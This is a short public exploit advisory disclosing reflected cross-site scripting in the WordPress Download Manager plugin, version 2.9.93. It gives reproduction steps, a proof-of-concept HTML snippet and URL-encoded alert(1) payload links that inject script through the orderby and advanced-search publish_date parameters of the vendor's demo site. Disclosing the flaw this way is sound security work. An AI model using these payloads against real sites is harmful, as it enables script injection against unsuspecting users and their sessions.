WordPress Download Manager 2.9.93 Cross Site Scripting

`* Exploit Title: WordPress Download Manager Cross-site Scripting  
* Discovery Date: 2019-04-13  
* Exploit Author: ThuraMoeMyint  
* Author Link: https://twitter.com/mgthuramoemyint  
* Vendor Homepage: https://www.wpdownloadmanager.com  
* Software Link: https://wordpress.org/plugins/download-manager  
* Version: 2.9.93  
* Category: WebApps, WordPress  
  
Description  
--  
  
In the pro features of the WordPress download manager plugin, there is a Category Short-code feature witch can use to sort categories with order by a function which will be used as ?orderby=title,publish_date .  
By adding parameter "> and add any XSS payload , the xss payload will execute.  
  
To reproduce,  
  
1.Go to the link where we can find ?orderby  
2.Add parameters >” and give simple payload like <script>alert(1)</script>  
3.The payload will execute.  
--  
  
PoC  
--  
  
<div class="btn-group btn-group-sm pull-right"><button type="button" class="btn btn-primary" disabled="disabled">Order &nbsp;</button><a class="btn btn-primary" href="https://demo.com/wpdmpro/category-short-code/?orderby=publish_date\"><script>alert(11)</script>&order=asc">Asc</a><a class="btn btn-primary" href="https://demo..com/wpdmpro/category-short-code/?orderby=publish_date\"><script>alert(11)</script>&order=desc">Desc</a></div>   
  
--  
Demo  
--  
https://demo.wpdownloadmanager.com/wpdmpro/list-packages/?orderby=title%22%3E%3Cscript%3Ealert(1)%3C/script%3E&order=asc  
--  
  
  
Another reflected cross-site scripting via advance search  
  
https://demo.wpdownloadmanager.com/wpdmpro/advanced-search/  
  
https://demo.wpdownloadmanager.com/wpdmpro/advanced-search/?search[publish_date]=2019-04-17+to+2019-04-17%22%3E%3Cscript%3Ealert(1)%3C/script%3E&search[update_date]=&search[view_count]=&search[download_count]=&search[package_size]=&search[order_by]=&search[order]=ASC&q=a  
  
  
  
`